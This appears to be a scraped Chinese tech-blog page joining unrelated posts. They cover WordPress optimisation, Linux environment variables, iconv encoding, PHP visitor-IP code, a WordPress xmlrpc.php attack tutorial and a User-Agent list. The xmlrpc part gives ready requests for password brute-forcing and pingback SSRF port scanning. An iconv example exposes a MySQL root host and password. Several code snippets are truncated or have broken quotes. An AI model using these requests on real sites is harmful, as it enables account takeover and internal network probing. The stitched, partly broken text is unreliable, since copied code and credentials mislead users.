建议购买 阿里云、腾讯云 等国内大厂的产品,如果资金允许,不要购买“突发型”“限制型”“10%CPU性能”等等字样的产品,这就是硬件限制,磁盘最好选择SSD固态硬盘CPU最好是2核或以上、带宽至少2M或以上。反之,没钱的话,那就自己看着来吧!限制型服务器或主机空间运行一个小型网站也是可以的

外贸网站:

建议购买 SiteGround https://www.siteground.com ) 的WordPress管理型主机,他们是WordPress官方推荐的,并且针对WordPress进行了很多优化,可一键申请SSL免费证书和开启CDN。管理型 WordPress主机商还可以考虑 KinstaWP Engine 或 Godaddy,不过这些价格上有些贵。

注:不要买 BlueHost 了,被别人收购后,变得非常垃圾。

重要建议:

除了选择托管商以外,对产品的选择还要考虑以下因素:

  • 选择Linux主机,不要用windows
  • 选择提供 PHP 7.0 以上的(如果能提供PHP 7.2 或以上的,性能会更好)
  • 选择MySQL 5.6 以上的(好像阿里云的虚拟主机有些数据库还是 MySQL 5.1 ,请不要购买这种主机!)
  • 如果网站有一定的流量(比如日IP > 1000),建议不要用低配虚拟主机了,可以考虑升级使用云服务器(需要配置环境和维护的,可以联系倡萌)

2、定期更新WordPress内核、插件和主题

无论更新是WordPress核心,还是WordPress主题或插件,都请尽可能去做。这样做的最重要原因是安全性,因为更新将确保您的网站不受最新威胁的侵害。

3、使用缓存机制

WordPress网站优化的另一种方法是实施缓存。这样别人访问页面的时候,可以直接提供缓存页面和数据,减少了运行站点所需的服务器资源占用,从而可以大大加快站点的运行速度。推荐以下缓存插件

这几年出现了很多缓存插件,而且安装数量都非常多,大家可以根据自己的需要去对比一下。以上都非常不错!

如果是VPS或云服务器(内存1G以上),建议使用 Opcache 和 Memcached 服务器端缓存,性能更佳!

4、图像优化

图像优化是在不明显影响图像质量的情况下压缩图像文件大小的过程。大文件大小会对加载时间和带宽使用产生负面影响,从而损害整体用户体验。可以考虑以下图片处理插件:

5、减少HTTP请求数和压缩大小

页面加载的文件(css、js、图片等)都会导致请求数的增加,倡萌建议先删除或禁用不必要的js和css,然后合并压缩js和css,并且使用LazyLoad延迟加载图片。 除了减少HTTP请求数以外,压缩html、启用Gzip、延迟加载不是必要的css和js也是不错的优化手段。上面推荐的缓存插件基本都内置的这方面的功能,如果没有这方面的功能,可以使用 Autoptimize 插件。需要注意的是,这些操作可能会导致网站出现错位等问题,所以我们应该小心调试和排除一页页面和文件。

关于删除或禁用不必要的js和css,可以参考这方面的教程:

倡萌最近优化的网站项目,使用的是 Bridge 收费主题,加载了100+个js文件和30个css文件,最终倡萌剔除了 75+ 个 js和 20 个 css。

6、使用CDN加速

CDN指遍布全球的代理服务器网络。每个服务器都包含您的网站的副本,可用于将您的内容更快地交付给全球范围内的用户。这不仅可以提高您网站的速度,还可以提高安全性。对于有一定流量的网站来说,CDN方案是个不错的选择。

国内大厂主机商,比如阿里云、腾讯云、百度云等,都提供了CDN服务,可以根据需要自己选择使用。国内免费CDN可以考虑百度云加速,国外可以考虑 Cloudflare(可以安装 Cloudflare 插件)。

如果仅仅是加速静态文件,比如图片、js和css等,也可以考虑使用 又拍云七牛云 等服务。

WordPress大学 目前用的是阿里云服务器,所以配套用了OSS+CDN服务加速静态文件,效果还不错,就是需要一定的费用。

总结

WordPress网站的性能和速度对网站至关重要,通过检测工具检测出网站的问题,然后配合上面的WordPress网站优化建议去操作,应该可以得到一个不错的结果!网站优化是一个长期的实施过程,WordPress大学也需要不断优化提升!

Linux下环境变量配置方法小结(.bash_profile和.bashrc的区别)

这篇文章主要介绍了Linux下环境变量配置方法小结(.bash_profile和.bashrc的区别),本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下

linux系统下,如果下载并安装了应用程序,在启动时很有可能在键入它的名称时出现”command not found”的提示内容。如果每次都到安装目标文件夹内,找到可执行文件

来进行操作就太繁琐了,这种情况下就涉及到环境变量PATH的设置问题,而PATH的设置也是在linux下定制环境变量的一个组成部分。

环境变量配置的两个方法:

1)修改/etc/profile文件

推荐使用这种方法,因为所有用户的shell都有权使用这些环境变量,缺点是可能会给系统带来安全性问题。 这里是针对所有的用户的,所有的shell;

[root@test ~]# vim /etc/profile
….
export PATH=$PATH:/usr/local/mysql/bin

使用source命令使修改立刻生效:
[root@test ~]# source  /etc/profile

2)修改.bashrc文件,这种方法更为安全,它可以把使用这些环境变量的权限控制到用户级别,这里是针对某一个特定的用户,如果需要给某个用户权限
使用这些环境变量,只需要修改其个人用户主目录下的.bashrc文件就可以了。
[root@test ~]# vim /root/.bashrc
export PATH=$PATH:/usr/local/mysql/bin

[root@test ~]# source  /root/.bashrc

需要注意的是:

在/etc/profile里设置系统环境变量时,路径末尾不能以”/”结尾,否则将导致整个PATH变量出错。

[app@test ~]$ vim ~/.bashrc
……
KETTLE_HOME=/data/nstc/kettle3.2
export KETTLE_HOME

注意:配置好环境变量后,要记得export输出这个变量,否则如下source后无效!
[app@test ~]$ source .bashrc //使之生效
[app@test ~]$ echo $KETTLE_HOME
/data/nstc/kettle3.2
[app@test ~]$ env
………
KETTLE_HOME=/data/nstc/kettle3.2

.bash_profile和.bashrc的区别:

/etc/profile: 此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行.并从/etc/profile.d目录的配置文件中搜集shell的设置.
/etc/bashrc:  为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取.
~/.bash_profile: 每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次!默认情况下,他设置一些环境变量,执行用户的.bashrc文件.
~/.bashrc: 该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取.
~/.bash_logout: 当每次退出系统(退出bash shell)时,执行该文件.

另外,/etc/profile中设定的变量(全局)的可以作用于任何用户,而~/.bashrc等中设定的变量(局部)只能继承/etc/profile中的变量,他们是”父子”关系.

=========================设置终端登录超时时间================

远程登录linux服务器,如何设置终端失效时间(即过了多久不操作,终端即将失效)。方法如下:
[root@mq-console-nameserver ~]# vim /etc/profile
……
export TMOUT=600
[root@mq-console-nameserver ~]# source /etc/profile

如上设置后,登录这台服务器的终端在10分钟内不做操作,则该终端就将失效!

总结

LINUX iconv命令详解

功能] 

对于给定文件把它的内容从一种编码转换成另一种编码。 

[描述] 

-f encoding :把字符从encoding编码开始转换。 

-t encoding :把字符转换到encoding编码。 

-l :列出已知的编码字符集合 

-o file :指定输出文件 

-c :忽略输出的非法字符 

-s :禁止警告信息,但不是错误信息 

–verbose :显示进度信息 

-f和-t所能指定的合法字符在-l选项的命令里面都列出来了。 

 

[举例] 

*列出当前支持的字符编码: 

#iconv -l

*将文件file1转码,转后文件输出到fil2中: 

#iconv  -f EUC-JP-MS -t UTF-8 file1 -o file2   //没-o那么会输出到标准输出.

*实际需求,从hive中取出的数据是utf8的,要load到mysql中,gbk编码。所以在load之前要先对文件进行转码。

复制代码
mysql_cmd = "iconv -c -f utf-8 -t gbk ./data/al_ver_" + yesterday_time + ".xls -o ./data/GBK_al_ver_" + yesterday_time + ".xls "
print(mysql_cmd)
os.system(mysql_cmd)
 
mysql_cmd = "mysql -h60.28.200.78 -uroot -pyeelion -A LogStat_RT  -e \"load data local  infile \'./data/GBK_al_ver_" + yesterday_time + ".xls ' into table HiveData_508\""
print(mysql_cmd)
os.system(mysql_cmd)

在php中iconv函数库能够完成各种字符集间的转换,是php编程中不可缺少的基础函数库;但有时候iconv对于部分数据转码会无缘无故的少一些。比如在转换字符”—”到gb2312时会出错。

下面一起慢慢看一下这个函数的用法。

最简单的应用,把gb2312置换成utf-8:

1
$text=iconv("GB2312","UTF-8",$text);

在用$text=iconv("UTF-8","GB2312",$text)过程中,如果遇到一些特别字符时,如:”—”,英文名中的”.”等等字符,转换就断掉了。这些字符后的文字都没法继续转换了。

针对这的问题,可以用如下代码实现:

1
$text=iconv("UTF-8","GBK",$text);

你没有看错,就这么简单,不使用gb2312,而写成GBK,就可以了。

还有一种方法,第二个参数,加上//IGNORE,忽略错误,如下:

1
iconv("UTF-8","GB2312//IGNORE",$data);

没有具体比较这两种方法,感觉第一种(GBK代替gb2312)方法更好。

php手册中iconv() 说明:

iconv

(PHP 4 >= 4.0.5, PHP 5)
iconv – Convert string to requested character encoding
Description
string iconv ( string in_charset, string out_charset, string str )
Performs a character set conversion on the string str from in_charset to out_charset. Returns the converted string or FALSE on failure.
If you append the string //TRANSLIT to out_charset transliteration is activated. This means that when a character can’t be represented in the target charset, it can be approximated through one or several similarly looking characters. If you append the string //IGNORE, characters that cannot be represented in the target charset are silently discarded. Otherwise, str is cut from the first illegal character.

在使用这个函数进行字符串编码转换时,需要注意,如果将utf-8转换为gb2312时,可能会出现字符串被截断的情况发生。此时可以使用以下方法解决:

1
$str=iconv('utf-8',"gb2312//TRANSLIT",file_get_contents($filepath));

即在第二个参数出添加红色字部分,表示:如果在目标编码中找不到与源编码相匹配的字符,会选择相似的字符进行转换。此处也可以使用://IGNORE 这个参数,表示忽略不能转换的字符。

ignore的意思是忽略转换时的错误,如果没有ignore参数,所有该字符后面的字符串都无法被保存。

iconv不是php的默认函数,也是默认安装的模块。需要安装才能用的。

如果是windows2000+php,你可以修改php.ini文件,将extension=php_iconv.dll前的”;”去掉,同时你要copy你的原php安装文件下的iconv.dll到你的winnt/system32下(如果你的dll指向的是这个目录)。在linux环境下,用静态安装的方式,在configure时加多一项 –with-iconv就可以了,phpinfo看得到iconv的项。(Linux7.3+Apache4.06+php4.3.2)。

mb_convert_encoding与iconv函数介绍

mb_convert_encoding这个函数是用来转换编码的。原来一直对程序编码这一概念不理解,不过现在好像有点开窍了。不过英文一般不会存在编码问题,只有中文数据才会有这个问题。比如你用Zend Studio或Editplus写程序时,用的是gbk编码,如果数据需要入数据库,而数据库的编码为utf8时,这时就要把数据进行编码转换,不然进到数据库就会变成乱码。

做一个GBK To UTF-8:

1
2
3
4
<?php
header("content-Type: text/html; charset=Utf-8");
echo mb_convert_encoding("妳係我的友仔", "UTF-8", "GBK");
?>

再来个GB2312 To Big5:

1
2
3
4
<?php
header("content-Type: text/html; charset=big5");
echo mb_convert_encoding("你是我的朋友", "big5", "GB2312");
?>

不过要使用上面的函数需要安装但是需要先enable mbstring 扩展库。

string mb_convert_encoding ( string str, string to_encoding [, mixed from_encoding] )需要先enable mbstring 扩展库,在 php.ini里将; extension=php_mbstring.dll 前面的 ; 去掉mb_convert_encoding 可以指定多种输入编码,它会根据内容自动识别,但是执行效率比iconv差太多;

string iconv ( string in_charset, string out_charset, string str )注意:第二个参数,除了可以指定要转化到的编码以外,还可以增加两个后缀://TRANSLIT 和 //IGNORE,其中 //TRANSLIT 会自动将不能直接转化的字符变成一个或多个近似的字符,//IGNORE 会忽略掉不能转化的字符,而默认效果是从第一个非法字符截断。

一般情况下用 iconv,只有当遇到无法确定原编码是何种编码,或者iconv转化后无法正常显示时才用mb_convert_encoding 函数。

1
2
$content = iconv("GBK", "UTF-8″, $content);
$content = mb_convert_encoding($content, "UTF-8″, "

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对脚本之家的支持。如果你想了解更多相关内容请查看下面相关链接

php获取访问者IP地址汇总

在很我的时候我们需要得到用户的真实IP地址,例如,日志记录,地理定位,将用户信息,网站数据分析等,其实获取IP地址很简单$_SERVER[\’REMOTE_ADDR\’]就可以了。下面我们就来给大家汇总一下常用的几种获取IP地址的方法。

//方法1:

1
2
$ip = $_SERVER["REMOTE_ADDR"];
echo $ip;

//方法2:

 

复制代码代码如下:
$user_IP = ($_SERVER[“HTTP_VIA”]) ? $_SERVER[“HTTP_X_FORWARDED_FOR”] : $_SERVER[“REMOTE_ADDR”];
$user_IP = ($user_IP) ? $user_IP : $_SERVER[“REMOTE_ADDR”];
echo $user_IP;

 

//方法3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function getRealIp()
{
  $ip=false;
  if(!empty($_SERVER["HTTP_CLIENT_IP"])){
    $ip = $_SERVER["HTTP_CLIENT_IP"];
  }
  if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
    if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
    for ($i = 0; $i < count($ips); $i++) {
      if (!eregi ("^(10│172.16│192.168).", $ips[$i])) {
        $ip = $ips[$i];
        break;
      }
    }
  }
  return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}
echo getRealIp();

//方法4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if ($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"])
{
  $ip = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
}
elseif ($HTTP_SERVER_VARS["HTTP_CLIENT_IP"])
{
  $ip = $HTTP_SERVER_VARS["HTTP_CLIENT_IP"];
}
elseif ($HTTP_SERVER_VARS["REMOTE_ADDR"])
{
  $ip = $HTTP_SERVER_VARS["REMOTE_ADDR"];
}
elseif (getenv("HTTP_X_FORWARDED_FOR"))
{
  $ip = getenv("HTTP_X_FORWARDED_FOR");
}
elseif (getenv("HTTP_CLIENT_IP"))
{
  $ip = getenv("HTTP_CLIENT_IP");
}
elseif (getenv("REMOTE_ADDR"))
{
  $ip = getenv("REMOTE_ADDR");
}
else
{
  $ip = "Unknown";
}
echo $ip ;

//方法5:

1
2
3
4
5
6
7
8
9
10
if(getenv('HTTP_CLIENT_IP')) {
  $onlineip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
  $onlineip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
  $onlineip = getenv('REMOTE_ADDR');
} else {
  $onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
echo $onlineip

//方法6:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
print "您的IP地址是:";
if(!empty($_SERVER["HTTP_CLIENT_IP"])){
 $cip = $_SERVER["HTTP_CLIENT_IP"];
}
elseif(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])){
 $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
}
elseif(!empty($_SERVER["REMOTE_ADDR"])){
 $cip = $_SERVER["REMOTE_ADDR"];
}
else{
 $cip = "无法获取!";
}
print $cip;

以上所述就是本文的全部内容了,希望对大家学习php能够有所帮助。

WordPress xmlrpc.php 漏洞

WordPress采用了XML-RPC接口.并且通过内置函数WordPress API实现了该接口内容。 所以,你可要通过客户端来管理Wordpress。 通过使用WordPress XML-RPC, 你可以使用业界流行博客客户端Weblog Clients来发布你的WordPress日志和页面。同时,XML-RPC 也可使用extended by WordPress Plugins插件来自定义你的规则。

0X01 激活XML-RPC

从3.5版本开始,XML-RPC功能默认开启。 早些版本,可通过如下方法激活:Settings > Writing > Remote Publishing and check the checkbox.

路径:http://example.com/wordpress/xmlrpc.php

image.png

0x02 查看系统允许的方法

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
image.png

0x03 账号爆破

一般情况下,wordpress的管理后台都会设置账号登录失败次数限制,因此,可以通过xmlprc.php接口来进行爆破。通常会使用wp.getUserBlogs、wp.getCategories和metaWeblog.getUsersBlogs这个方法来进行爆破,也可以使用其他的方法。
构造请求包:

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password</value></param>
</params>
</methodCall>
image.png

爆破成功会返回博客的内容:

image.png

0x03 SSRF

WordPress 版本< 3.5.1
通过Pingback可以实现的服务器端请求伪造 (Server-side request forgery,SSRF)和远程端口扫描。
构造请求包:

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>要探测的ip和端口:http://127.0.0.1:80</string></value>
</param><param><value><string>网站上一篇博客的URL:http://localhost/wordpress/?p=1)<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

IP和端口存在,返回包中的<value><int>中的值大于0:

image.png

利用脚本:
https://github.com/FireFart/WordpressPingbackPortScanner 

0x04 读取文件:

image.png
image.png

0x99 参考:

https://codex.wordpress.org/zh-cn:XML-RPC_Support
http://xmlrpc.com/
https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32
https://www.acunetix.com/blog/web-security-zone/wordpress-pingback-vulnerability/
http://lab.onsec.ru/2013/01/wordpress-xmlrpc-pingback-additional.html

常见User-Agent 大全

常见 User-Agent 大全-备份

备份下常见User-Agent。

window.navigator.userAgent

1) Chrome
Win7:
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1

2) Firefox
Win7:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0

3) Safari
Win7:
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50

4) Opera
Win7:
Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50

5) IE
Win7+ie9:
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)

Win7+ie8:
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)

WinXP+ie8:
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)

WinXP+ie7:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

WinXP+ie6:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

6) 傲游
傲游3.1.7在Win7+ie9,高速模式:
Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12

傲游3.1.7在Win7+ie9,IE内核兼容模式:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)

7) 搜狗
搜狗3.0在Win7+ie9,IE内核兼容模式:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)

搜狗3.0在Win7+ie9,高速模式:
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0

8) 360
360浏览器3.0在Win7+ie9:
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)

9) QQ浏览器
QQ浏览器6.9(11079)在Win7+ie9,极速模式:
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201

QQ浏览器6.9(11079)在Win7+ie9,IE内核兼容模式:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201

10) 阿云浏览器
阿云浏览器1.3.0.1724 Beta(编译日期2011-12-05)在Win7+ie9:
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)